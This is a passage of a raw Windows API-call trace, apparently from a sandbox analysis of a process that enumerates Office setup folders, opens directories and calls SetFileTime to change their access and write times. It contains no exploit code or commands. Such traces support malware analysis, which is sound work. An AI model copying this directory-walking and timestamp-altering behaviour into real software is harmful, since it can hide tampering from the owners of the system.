fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0049.384] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0049.384] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0049.384] NtClose (Handle=0x174) returned 0x0 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.384] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.384] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.384] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ce0 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeebac8 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9d00 [0049.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeebbd0 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.385] GetLastError () returned 0x12 [0049.385] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.385] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.385] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.385] GetLastError () returned 0x12 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.385] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.386] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0049.386] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0049.386] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0049.386] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0049.386] NtClose (Handle=0x178) returned 0x0 [0049.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.387] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.392] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.392] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0049.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.392] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0049.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9d20 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeebcd8 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9d40 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeebde0 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9d60 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeebee8 [0049.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x500) returned 0xed7330 [0049.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9d80 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.394] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0049.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9da0 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec100 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9dc0 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec208 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9de0 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) 